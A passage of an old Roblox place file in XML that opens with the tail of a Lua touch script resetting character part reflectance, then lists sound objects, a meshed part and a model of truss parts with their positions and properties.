part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX121">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">37uaea2t</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX122">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">eyhz</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX123">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>-7.5</X>
					<Y>12.1000004</Y>
					<Z>27.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">0</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="SpecialMesh" referent="RBX124">
				<Properties>
					<token name="LODX">2</token>
					<token name="LODY">2</token>
					<Content name="MeshId"><null></null></Content>
					<token name="MeshType">3</token>
					<string name="Name">Mesh</string>
					<Vector3 name="Offset">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<Vector3 name="Scale">
						<X>2</X>
						<Y>2</Y>
						<Z>2</Z>
					</Vector3>
					<Content name="TextureId"><null></null></Content>
					<Vector3 name="VertexColor">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
	</Item>
	<Item class="Workspace" referent="RBX125">
		<Properties>
			<Ref name="CurrentCamera">RBX126</Ref>
			<double name="DistributedGameTime">0</double>
			<CoordinateFrame name="ModelInPrimary">
				<X>0</X>
				<Y>0</Y>
				<Z>0</Z>
				<R00>1</R00>
				<R01>0</R01>
				<R02>0</R02>
				<R10>0</R10>
				<R11>1</R11>
				<R12>0</R12>
				<R20>0</R20>
				<R21>0</R21>
				<R22>1</R22>
			</CoordinateFrame>
			<string name="Name">Workspace</string>
			<Ref name="PrimaryPart">null</Ref>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="Model" referent="RBX127">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="TrussPart" referent="RBX128">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>39.2000008</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX129">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>39</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX130">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>35.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX131">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>35.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX132">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>35.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX133">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>35.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX134">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>25.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX135">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>25.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX136">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>25.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX137">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>25.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX138">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-148</X>
						<Y>21.6000004</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>14</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX139">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-148</X>
						<Y>21.6000004</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>14</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX140">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
